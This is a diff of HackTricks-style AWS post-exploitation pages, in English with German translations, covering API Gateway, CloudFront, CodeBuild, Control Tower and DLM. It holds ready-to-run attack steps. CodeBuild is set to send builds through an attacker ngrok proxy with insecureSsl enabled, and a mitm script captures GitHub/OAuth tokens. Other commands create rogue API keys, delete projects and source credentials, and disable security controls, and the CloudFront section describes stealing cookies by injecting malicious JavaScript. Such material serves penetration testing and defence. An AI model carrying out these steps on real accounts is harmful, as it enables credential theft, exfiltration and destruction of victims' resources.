> [!NOTE]
|
||||
> Need testing
|
||||
> Muss getestet werden
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **modify the method response of an existing API Gateway REST API method to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
|
||||
|
||||
Ein Angreifer mit den Berechtigungen `apigateway:PutMethodResponse` und `apigateway:CreateDeployment` kann **die Methodenantwort einer bestehenden API Gateway REST API-Methode ändern, um benutzerdefinierte Header oder Antwortvorlagen einzuschließen, die sensible Informationen leaken oder bösartige Skripte ausführen**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -98,16 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
|
||||
**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
|
||||
**Potenzielle Auswirkungen**: Leck von sensiblen Informationen, Ausführung bösartiger Skripte oder unbefugter Zugriff auf API-Ressourcen.
|
||||
|
||||
> [!NOTE]
|
||||
> Need testing
|
||||
> Muss getestet werden
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
An attacker with the permissions `apigateway:UpdateRestApi` and `apigateway:CreateDeployment` can **modify the API Gateway REST API settings to disable logging or change the minimum TLS version, potentially weakening the security of the API**.
|
||||
|
||||
Ein Angreifer mit den Berechtigungen `apigateway:UpdateRestApi` und `apigateway:CreateDeployment` kann **die Einstellungen der API Gateway REST API ändern, um das Logging zu deaktivieren oder die minimale TLS-Version zu ändern, was die Sicherheit der API potenziell schwächen kann**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
@@ -117,16 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
|
||||
**Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information.
|
||||
**Potenzielle Auswirkungen**: Schwächung der Sicherheit der API, was möglicherweise unbefugten Zugriff oder die Offenlegung sensibler Informationen ermöglicht.
|
||||
|
||||
> [!NOTE]
|
||||
> Need testing
|
||||
> Muss getestet werden
|
||||
|
||||
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
|
||||
|
||||
An attacker with permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` can **create new API keys, associate them with usage plans, and then use these keys for unauthorized access to APIs**.
|
||||
|
||||
Ein Angreifer mit den Berechtigungen `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` und `apigateway:CreateUsagePlanKey` kann **neue API-Schlüssel erstellen, sie mit Nutzungstarifen verknüpfen und diese Schlüssel dann für unbefugten Zugriff auf APIs verwenden**.
|
||||
```bash
|
||||
# Create a new API key
|
||||
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
|
||||
@@ -137,14 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
|
||||
# Associate the API key with the usage plan
|
||||
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
|
||||
```
|
||||
**Potenzielle Auswirkungen**: Unbefugter Zugriff auf API-Ressourcen, Umgehung von Sicherheitskontrollen.
|
||||
|
||||
**Potential Impact**: Unauthorized access to API resources, bypassing security controls.
|
||||
|
||||
> [!NOTE]
|
||||
> Need testing
|
||||
> [!HINWEIS]
|
||||
> Testen erforderlich
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## CloudFront
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudfront-enum.md
|
||||
@@ -12,24 +12,20 @@ For more information check:
|
||||
|
||||
### Man-in-the-Middle
|
||||
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script).
|
||||
Dieser [**Blogbeitrag**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) schlägt einige verschiedene Szenarien vor, in denen eine **Lambda** hinzugefügt (oder modifiziert, wenn sie bereits verwendet wird) werden könnte, um eine **Kommunikation über CloudFront** mit dem Ziel zu **stehlen** von Benutzerinformationen (wie dem Sitzungs-**Cookie**) und **modifizieren** der **Antwort** (einfügen eines bösartigen JS-Skripts).
|
||||
|
||||
#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
|
||||
#### Szenario 1: MitM, bei dem CloudFront so konfiguriert ist, dass es auf einige HTML eines Buckets zugreift
|
||||
|
||||
- **Create** the malicious **function**.
|
||||
- **Associate** it with the CloudFront distribution.
|
||||
- Set the **event type to "Viewer Response"**.
|
||||
- **Erstelle** die bösartige **Funktion**.
|
||||
- **Verknüpfe** sie mit der CloudFront-Distribution.
|
||||
- Setze den **Ereignistyp auf "Viewer Response"**.
|
||||
|
||||
Accessing the response you could steal the users cookie and inject a malicious JS.
|
||||
Durch den Zugriff auf die Antwort könntest du das Cookie der Benutzer stehlen und ein bösartiges JS injizieren.
|
||||
|
||||
#### scenario 2: MitM where CloudFront is already using a lambda function
|
||||
#### Szenario 2: MitM, bei dem CloudFront bereits eine Lambda-Funktion verwendet
|
||||
|
||||
- **Modify the code** of the lambda function to steal sensitive information
|
||||
- **Modifiziere den Code** der Lambda-Funktion, um sensible Informationen zu stehlen.
|
||||
|
||||
You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
Du kannst den [**tf-Code, um diese Szenarien hier zu reproduzieren**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main) überprüfen.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,85 +4,73 @@
|
||||
|
||||
## CodeBuild
|
||||
|
||||
For more information, check:
|
||||
Für weitere Informationen, siehe:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-codebuild-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Check Secrets
|
||||
### Überprüfen von Geheimnissen
|
||||
|
||||
If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\
|
||||
Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform.
|
||||
Wenn Anmeldeinformationen in Codebuild festgelegt wurden, um sich mit Github, Gitlab oder Bitbucket in Form von persönlichen Tokens, Passwörtern oder OAuth-Token-Zugriff zu verbinden, werden diese **Anmeldeinformationen als Geheimnisse im Geheimnismanager gespeichert**.\
|
||||
Daher, wenn Sie Zugriff auf den Geheimnismanager haben, können Sie diese Geheimnisse abrufen und zu der verbundenen Plattform pivotieren.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-secrets-manager-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Abuse CodeBuild Repo Access
|
||||
### Missbrauch des CodeBuild-Repo-Zugriffs
|
||||
|
||||
In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code:
|
||||
Um **CodeBuild** zu konfigurieren, benötigt es **Zugriff auf das Code-Repo**, das es verwenden wird. Mehrere Plattformen könnten diesen Code hosten:
|
||||
|
||||
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**.
|
||||
Das **CodeBuild-Projekt muss Zugriff** auf den konfigurierten Quellanbieter haben, entweder über **IAM-Rolle** oder mit einem github/bitbucket **Token oder OAuth-Zugriff**.
|
||||
|
||||
An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\
|
||||
In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you):
|
||||
Ein Angreifer mit **erhöhten Berechtigungen in einem CodeBuild** könnte diesen konfigurierten Zugriff missbrauchen, um den Code des konfigurierten Repos und anderer, auf die die festgelegten Anmeldeinformationen Zugriff haben, zu leaken.\
|
||||
Um dies zu tun, müsste ein Angreifer nur die **Repository-URL auf jedes Repo ändern, auf das die konfigurierten Anmeldeinformationen Zugriff haben** (beachten Sie, dass die AWS-Webseite alle für Sie auflistet):
|
||||
|
||||
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
And **change the Buildspec commands to exfiltrate each repo**.
|
||||
Und **die Buildspec-Befehle ändern, um jedes Repo zu exfiltrieren**.
|
||||
|
||||
> [!WARNING]
|
||||
> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\
|
||||
> Or does he? Check the next section
|
||||
> Diese **Aufgabe ist jedoch repetitiv und mühsam** und wenn ein Github-Token mit **Schreibberechtigungen** konfiguriert wurde, kann ein Angreifer **diese Berechtigungen nicht (miss)brauchen**, da er keinen Zugriff auf das Token hat.\
|
||||
> Oder doch? Überprüfen Sie den nächsten Abschnitt
|
||||
|
||||
### Leaking Access Tokens from AWS CodeBuild
|
||||
|
||||
You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
|
||||
### Zugriffstoken von AWS CodeBuild leaken
|
||||
|
||||
Sie können den Zugriff, der in CodeBuild auf Plattformen wie Github gewährt wurde, leaken. Überprüfen Sie, ob Zugriff auf externe Plattformen gewährt wurde mit:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-token-leakage.md
|
||||
{{#endref}}
|
||||
|
||||
### `codebuild:DeleteProject`
|
||||
|
||||
An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project.
|
||||
|
||||
Ein Angreifer könnte ein gesamtes CodeBuild-Projekt löschen, was zum Verlust der Projektkonfiguration führt und Anwendungen beeinträchtigt, die auf das Projekt angewiesen sind.
|
||||
```bash
|
||||
aws codebuild delete-project --name <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project.
|
||||
**Potenzielle Auswirkungen**: Verlust der Projektkonfiguration und Dienstunterbrechung für Anwendungen, die das gelöschte Projekt verwenden.
|
||||
|
||||
### `codebuild:TagResource` , `codebuild:UntagResource`
|
||||
|
||||
An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
|
||||
|
||||
Ein Angreifer könnte Tags von CodeBuild-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenverteilung, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören würde.
|
||||
```bash
|
||||
aws codebuild tag-resource --resource-arn <value> --tags <value>
|
||||
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
|
||||
**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcennachverfolgung und tagbasierter Zugriffskontrollrichtlinien.
|
||||
|
||||
### `codebuild:DeleteSourceCredentials`
|
||||
|
||||
An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository.
|
||||
|
||||
Ein Angreifer könnte die Quellanmeldeinformationen für ein Git-Repository löschen, was die normale Funktionsweise von Anwendungen beeinträchtigt, die auf das Repository angewiesen sind.
|
||||
```sql
|
||||
aws codebuild delete-source-credentials --arn <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials.
|
||||
**Potenzielle Auswirkungen**: Störung der normalen Funktionalität von Anwendungen, die auf das betroffene Repository angewiesen sind, aufgrund der Entfernung von Quellanmeldeinformationen.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,73 +2,68 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Recover Github/Bitbucket Configured Tokens
|
||||
|
||||
First, check if there are any source credentials configured that you could leak:
|
||||
## Wiederherstellen von Github/Bitbucket konfigurierten Tokens
|
||||
|
||||
Zuerst überprüfen Sie, ob es Quellanmeldeinformationen gibt, die Sie möglicherweise leaken könnten:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### Via Docker-Image
|
||||
|
||||
### Via Docker Image
|
||||
Wenn Sie feststellen, dass die Authentifizierung zum Beispiel für Github im Konto eingestellt ist, können Sie **exfiltrieren** diesen **Zugang** (**GH-Token oder OAuth-Token**), indem Sie Codebuild dazu bringen, ein **bestimmtes Docker-Image** zu verwenden, um den Build des Projekts auszuführen.
|
||||
|
||||
If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
|
||||
Zu diesem Zweck könnten Sie **ein neues Codebuild-Projekt erstellen** oder die **Umgebung** eines bestehenden ändern, um das **Docker-Image** festzulegen.
|
||||
|
||||
For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**.
|
||||
Das Docker-Image, das Sie verwenden könnten, ist [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dies ist ein sehr einfaches Docker-Image, das die **Umgebungsvariablen `https_proxy`**, **`http_proxy`** und **`SSL_CERT_FILE`** festlegt. Dies ermöglicht es Ihnen, den Großteil des Traffics des im **`https_proxy`** und **`http_proxy`** angegebenen Hosts abzufangen und das in **`SSL_CERT_FILE`** angegebene SSL-Zertifikat zu vertrauen.
|
||||
|
||||
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
|
||||
|
||||
1. **Create & Upload your own Docker MitM image**
|
||||
- Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**.
|
||||
- **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint.
|
||||
- You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host
|
||||
- Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...)
|
||||
2. **Set the environment**
|
||||
- Create a **new Codebuild project** or **modify** the environment of an existing one.
|
||||
- Set the project to use the **previously generated Docker image**
|
||||
1. **Erstellen und Hochladen Ihres eigenen Docker MitM-Images**
|
||||
- Befolgen Sie die Anweisungen des Repos, um Ihre Proxy-IP-Adresse festzulegen und Ihr SSL-Zertifikat einzustellen und **das Docker-Image zu erstellen**.
|
||||
- **SETZEN SIE NICHT `http_proxy`**, um keine Anfragen an den Metadaten-Endpunkt abzufangen.
|
||||
- Sie könnten **`ngrok`** wie `ngrok tcp 4444` verwenden, um den Proxy zu Ihrem Host festzulegen.
|
||||
- Sobald Sie das Docker-Image erstellt haben, **laden Sie es in ein öffentliches Repo hoch** (Dockerhub, ECR...).
|
||||
2. **Umgebung festlegen**
|
||||
- Erstellen Sie ein **neues Codebuild-Projekt** oder **ändern** Sie die Umgebung eines bestehenden.
|
||||
- Stellen Sie das Projekt so ein, dass es das **zuvor generierte Docker-Image** verwendet.
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Set the MitM proxy in your host**
|
||||
|
||||
- As indicated in the **Github repo** you could use something like:
|
||||
3. **Setzen Sie den MitM-Proxy in Ihrem Host**
|
||||
|
||||
- Wie im **Github-Repo** angegeben, könnten Sie etwas wie Folgendes verwenden:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
|
||||
> [!TIP]
|
||||
> The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work.
|
||||
> Die **mitmproxy-Version, die verwendet wurde, war 9.0.1**, es wurde berichtet, dass dies mit Version 10 möglicherweise nicht funktioniert.
|
||||
|
||||
4. **Run the build & capture the credentials**
|
||||
4. **Führen Sie den Build aus und erfassen Sie die Anmeldeinformationen**
|
||||
|
||||
- You can see the token in the **Authorization** header:
|
||||
- Sie können das Token im **Authorization**-Header sehen:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This could also be done from the aws cli with something like
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dies könnte auch über die aws cli mit etwas wie
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
|
||||
## With /tmp/buildspec.json
|
||||
{
|
||||
"name": "my-demo-project",
|
||||
"source": {
|
||||
"type": "GITHUB",
|
||||
"location": "https://github.com/uname/repo",
|
||||
"buildspec": "buildspec.yml"
|
||||
},
|
||||
"artifacts": {
|
||||
"type": "NO_ARTIFACTS"
|
||||
},
|
||||
"environment": {
|
||||
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
|
||||
"image": "docker.io/carlospolop/docker-mitm:v12",
|
||||
"computeType": "BUILD_GENERAL1_SMALL",
|
||||
"imagePullCredentialsType": "CODEBUILD"
|
||||
}
|
||||
"name": "my-demo-project",
|
||||
"source": {
|
||||
"type": "GITHUB",
|
||||
"location": "https://github.com/uname/repo",
|
||||
"buildspec": "buildspec.yml"
|
||||
},
|
||||
"artifacts": {
|
||||
"type": "NO_ARTIFACTS"
|
||||
},
|
||||
"environment": {
|
||||
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
|
||||
"image": "docker.io/carlospolop/docker-mitm:v12",
|
||||
"computeType": "BUILD_GENERAL1_SMALL",
|
||||
"imagePullCredentialsType": "CODEBUILD"
|
||||
}
|
||||
}
|
||||
|
||||
## Json
|
||||
@@ -76,117 +71,102 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
# Start the build
|
||||
aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
|
||||
### Via insecureSSL
|
||||
|
||||
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
|
||||
Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform.
|
||||
|
||||
- First you need to enumerate the current configuration with something like:
|
||||
**Codebuild**-Projekte haben eine Einstellung namens **`insecureSsl`**, die im Web verborgen ist und nur über die API geändert werden kann.\
|
||||
Wenn Sie dies aktivieren, kann Codebuild sich mit dem Repository **verbinden, ohne das von der Plattform angebotene Zertifikat zu überprüfen**.
|
||||
|
||||
- Zuerst müssen Sie die aktuelle Konfiguration mit etwas wie:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
|
||||
- Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration).
|
||||
- Moreover, add also the env variables **http_proxy** and **https_proxy** pointing to your tcp ngrok like:
|
||||
|
||||
- Dann kannst du mit den gesammelten Informationen die Projekteinstellung **`insecureSsl`** auf **`True`** aktualisieren. Das folgende ist ein Beispiel für meine Aktualisierung eines Projekts, beachte das **`insecureSsl=True`** am Ende (das ist das einzige, was du von der gesammelten Konfiguration ändern musst).
|
||||
- Außerdem füge auch die Umgebungsvariablen **http_proxy** und **https_proxy** hinzu, die auf dein tcp ngrok zeigen, wie:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
"type": "GITHUB",
|
||||
"location": "https://github.com/carlospolop/404checker",
|
||||
"gitCloneDepth": 1,
|
||||
"gitSubmodulesConfig": {
|
||||
"fetchSubmodules": false
|
||||
},
|
||||
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
|
||||
"auth": {
|
||||
"type": "CODECONNECTIONS",
|
||||
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
|
||||
},
|
||||
"reportBuildStatus": false,
|
||||
"insecureSsl": true
|
||||
}' \
|
||||
--environment '{
|
||||
"type": "LINUX_CONTAINER",
|
||||
"image": "aws/codebuild/standard:5.0",
|
||||
"computeType": "BUILD_GENERAL1_SMALL",
|
||||
"environmentVariables": [
|
||||
{
|
||||
"name": "http_proxy",
|
||||
"value": "http://2.tcp.eu.ngrok.io:15027"
|
||||
},
|
||||
{
|
||||
"name": "https_proxy",
|
||||
"value": "http://2.tcp.eu.ngrok.io:15027"
|
||||
}
|
||||
]
|
||||
}'
|
||||
--source '{
|
||||
"type": "GITHUB",
|
||||
"location": "https://github.com/carlospolop/404checker",
|
||||
"gitCloneDepth": 1,
|
||||
"gitSubmodulesConfig": {
|
||||
"fetchSubmodules": false
|
||||
},
|
||||
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
|
||||
"auth": {
|
||||
"type": "CODECONNECTIONS",
|
||||
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
|
||||
},
|
||||
"reportBuildStatus": false,
|
||||
"insecureSsl": true
|
||||
}' \
|
||||
--environment '{
|
||||
"type": "LINUX_CONTAINER",
|
||||
"image": "aws/codebuild/standard:5.0",
|
||||
"computeType": "BUILD_GENERAL1_SMALL",
|
||||
"environmentVariables": [
|
||||
{
|
||||
"name": "http_proxy",
|
||||
"value": "http://2.tcp.eu.ngrok.io:15027"
|
||||
},
|
||||
{
|
||||
"name": "https_proxy",
|
||||
"value": "http://2.tcp.eu.ngrok.io:15027"
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
|
||||
|
||||
- Führen Sie dann das grundlegende Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) an dem Port aus, der durch die Proxy-Variablen (http_proxy und https_proxy) angegeben ist.
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
mitm = MITM(
|
||||
host="127.0.0.1",
|
||||
port=4444,
|
||||
protocols=[protocol.HTTP],
|
||||
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
|
||||
certificate_authority = crypto.CertificateAuthority()
|
||||
host="127.0.0.1",
|
||||
port=4444,
|
||||
protocols=[protocol.HTTP],
|
||||
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
|
||||
certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
|
||||
- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
|
||||
- Schließlich klicken Sie auf **Build the project**, die **Anmeldeinformationen** werden **im Klartext** (base64) an den mitm-Port gesendet:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Via HTTP protocol~~
|
||||
### ~~Über das HTTP-Protokoll~~
|
||||
|
||||
> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
|
||||
> [!TIP] > **Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Februar 2023 (ich glaube am Freitag) behoben. Ein Angreifer kann sie also nicht mehr ausnutzen :)**
|
||||
|
||||
An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
|
||||
Ein Angreifer mit **erhöhten Berechtigungen in über einem CodeBuild könnte das Github/Bitbucket-Token** leaken, das konfiguriert ist, oder wenn die Berechtigungen über OAuth konfiguriert wurden, das **temporäre OAuth-Token, das zum Zugriff auf den Code verwendet wird**.
|
||||
|
||||
- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`).
|
||||
- Ein Angreifer könnte die Umgebungsvariablen **http_proxy** und **https_proxy** zum CodeBuild-Projekt hinzufügen, die auf seine Maschine zeigen (zum Beispiel `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
|
||||
|
||||
- Dann ändern Sie die URL des Github-Repos, um HTTP anstelle von HTTPS zu verwenden, zum Beispiel: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Dann führen Sie das grundlegende Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) an dem Port aus, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen.
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
mitm = MITM(
|
||||
host="0.0.0.0",
|
||||
port=4444,
|
||||
protocols=[protocol.HTTP],
|
||||
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
|
||||
certificate_authority = crypto.CertificateAuthority()
|
||||
host="0.0.0.0",
|
||||
port=4444,
|
||||
protocols=[protocol.HTTP],
|
||||
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
|
||||
certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
|
||||
- Next, click on **Build the project** or start the build from command line:
|
||||
|
||||
- Klicken Sie als Nächstes auf **Build the project** oder starten Sie den Build über die Befehlszeile:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
|
||||
- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
|
||||
- Schließlich werden die **Anmeldeinformationen** im **Klartext** (base64) an den mitm-Port gesendet:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly.
|
||||
> Jetzt kann ein Angreifer das Token von seiner Maschine aus verwenden, alle Privilegien auflisten, die es hat, und (miss)brauchen einfacher als die direkte Nutzung des CodeBuild-Dienstes.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -8,17 +8,11 @@
|
||||
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Enable / Disable Controls
|
||||
|
||||
To further exploit an account, you might need to disable/enable Control Tower controls:
|
||||
### Aktivieren / Deaktivieren von Kontrollen
|
||||
|
||||
Um ein Konto weiter auszunutzen, müssen Sie möglicherweise die Kontrollen von Control Tower deaktivieren/aktivieren:
|
||||
```bash
|
||||
aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,94 +6,86 @@
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot.
|
||||
